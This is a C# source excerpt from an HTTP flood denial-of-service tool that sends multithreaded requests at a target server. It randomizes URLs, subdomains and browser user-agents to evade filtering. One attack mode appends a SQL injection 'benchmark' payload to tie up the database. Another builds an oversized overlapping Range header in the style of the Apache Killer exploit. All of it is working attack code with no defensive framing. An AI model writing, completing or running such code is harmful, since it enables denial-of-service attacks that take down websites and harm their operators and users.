public AwesomeHttpFlooder( IPEndPoint target, HttpAttackParams attackParams, int threadCount = 1 )
        {
            var info = new AttackInfo {
                Target = target,
                Protocol = ProtocolType.Tcp,
                Randomizer = this.GenerateHeaderBytes,
                MaxWrite = 1,
                SendBufferSize = 512,
                ReadBufferSize = 512
            };
            if ( attackParams.WaitForResponse )
                info.MaxRead = ulong.MaxValue;

            _flooder = new AsyncFlooder( info, threadCount );
            this._headers = CreateHeaderExpression( attackParams );
            this._exprBuffers = new int[ threadCount ][];
            var c = this._headers.ComputeLengthDataSize();
            for (var i = 0; i < threadCount; i++)
                this._exprBuffers[ i ] = new int[c];
        }
 private static MultiExpression CreateHeaderExpression(HttpAttackParams p)
 {
     var query = p.Query;
     if ( p.AttackType == HttpAttackType.RefRef)
         query += "%20and%20(select+benchmark({I:D:999999:999999999},0x{S:H:48:48}))";
     var bld = new StringBuilder();
     bld.AppendFormat( "GET {0}{1} HTTP/1.1", query, p.RandomAppendUrl ? "{R:{&{S:L:1:5}={S:U:1:50}}:0:3}" :"");
     bld.AppendLine();
     //subdomains
     bld.AppendFormat("Host: {0}{1}", p.RandomAppendHost?"{R:{{S:a:3:12}.}:0:2}":"", p.Dns );
     bld.AppendLine();
     bld.AppendLine( "Accept: */*" );
     bld.AppendLine( "Connection: close" );
     if (p.Gzip)
         bld.AppendLine( "Accept-Encoding: gzip,deflate" );
     //all versions of chrome and safari
     bld.AppendLine( "Mozilla/5.0 (Windows NT 6.{I:D:0:2}) AppleWebKit/{I:D:536:537}.{I:D:0:35}"+
         " (KHTML, like Gecko) Chrome/{I:D:25:35}.0.{I:D:1100:1800}.{I:D:0:10}"+
         " Safari/{I:D:536:537}.{I:D:0:35}" );
     //lot's of http range  requests
     //Moar info: http://1337day.com/exploits/16729
     if ( p.AttackType == HttpAttackType.AhrDosme ) {
         bld.Append( "Range:bytes=" );
         var l = Generators.Random.Next(600, 1000 );
         var l2 = Generators.Random.Next( 30 );
         for (var i = 0; i < l; i++) {
             bld.Append( l2 >> 1 + ( i %  l2 )  );
             bld.Append( '-' );
             bld.Append( i );
             if ( i < l - 1 ) bld.Append( ',' );
         }
         bld.AppendLine();
     }
     bld.AppendLine();
     return ExpressionParser.Create( bld.ToString() );
 }